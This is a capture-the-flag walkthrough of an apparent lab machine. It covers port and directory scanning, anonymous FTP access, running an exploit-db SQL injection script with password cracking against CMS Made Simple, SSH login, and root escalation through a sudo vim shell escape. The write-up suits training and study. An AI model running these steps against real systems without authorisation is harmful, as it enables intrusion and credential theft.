Nmap

First we scan for open ports

# nmap -p- -T4 -sV -sC 10.10.90.154 -oA nmap
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-11 19:07 GMT
Nmap scan report for 10.10.90.154
Host is up (0.030s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
| http-robots.txt: 2 disallowed entries 
|_/ /openemr-5_0_1_3 
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 29:42:69:14:9e:ca:d9:17:98:8c:27:72:3a:cd:a9:23 (RSA)
|   256 9b:d1:65:07:51:08:00:61:98:de:95:ed:3a:e3:81:1c (ECDSA)
|_  256 12:65:1b:61:cf:4d:e5:75:fe:f4:e8:d4:6e:10:2a:f6 (ED25519)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 156.94 seconds

FTP

We will start by looking aroud on the FTP site, and nmap has already indicated anonymous logon should work

# ftp -A 10.10.90.154
Connected to 10.10.90.154.
220 (vsFTPd 3.0.3)
Name (10.10.90.154:root): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -lah
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
drwxr-xr-x    3 ftp      ftp          4096 Aug 17  2019 .
drwxr-xr-x    3 ftp      ftp          4096 Aug 17  2019 ..
drwxr-xr-x    2 ftp      ftp          4096 Aug 17  2019 pub
226 Directory send OK.
ftp> cd pub
250 Directory successfully changed.
ftp> ls -lah
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
drwxr-xr-x    2 ftp      ftp          4096 Aug 17  2019 .
drwxr-xr-x    3 ftp      ftp          4096 Aug 17  2019 ..
-rw-r--r--    1 ftp      ftp           166 Aug 17  2019 ForMitch.txt
226 Directory send OK.
ftp> get ForMitch.txt
local: ForMitch.txt remote: ForMitch.txt
200 EPRT command successful. Consider using EPSV.
50 Opening BINARY mode data connection for ForMitch.txt (166 bytes).
100% |*******************************************************************|   166        2.63 MiB/s    00:00 ETA
226 Transfer complete.
166 bytes received in 00:00 (7.92 KiB/s)

Looking in the file we see the following text

Dammit man... you'te the worst dev i've seen. You set the same pass for the system user, and the password is so weak... i cracked it in seconds. Gosh... what a mess!

Website

Looking at the website it is just the default apache page, so lets run a directory scan

# gobuster dir -u http://10.10.90.154 -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.90.154
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 291]
/.htpasswd            (Status: 403) [Size: 296]
/.htaccess            (Status: 403) [Size: 296]
/index.html           (Status: 200) [Size: 11321]
/robots.txt           (Status: 200) [Size: 929]
/server-status        (Status: 403) [Size: 300]
/simple               (Status: 301) [Size: 313] [--> http://10.10.90.154/simple/]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================

Visiting the /simple directory we see a website that appears to be made using CMS Made Simple

This is confirmed at the bottom of the page, which also gives away a version number.

Using exploit-db there appears to be a vulnerability that affects the version and an exploit. The exploit script uses the time based sql injection vulnerability to great affect with an almost Hollywood worthy type output.

python2 46635.py -u http://10.10.90.154/simple --crack -w /usr/share/wordlists/rockyou.txt

SSH

Using the credentials we have found we can login to SSH.

# ssh mitch@10.10.90.154 -p 2222
The authenticity of host '[10.10.90.154]:2222 ([10.10.90.154]:2222)' can't be established.
ED25519 key fingerprint is SHA256:iq4f0XcnA5nnPNAufEqOpvTbO8dOJPcHGgmeABEdQ5g.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.90.154]:2222' (ED25519) to the list of known hosts.
mitch@10.10.90.154's password: 
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-58-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.

Last login: Mon Aug 19 18:13:41 2019 from 192.168.0.190
$ ls
user.txt
$ cat user.txt
G****************!

Privilege escalation

Checking mitch’s sudo permissions we can see the permission to run vim. Grab the relevant details from GTFOBins and we can escalate to root and grab the flag

$ sudo -l
User mitch may run the following commands on Machine:
    (root) NOPASSWD: /usr/bin/vim
$ sudo vim -c ':!/bin/sh'

# id  
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
W*********************!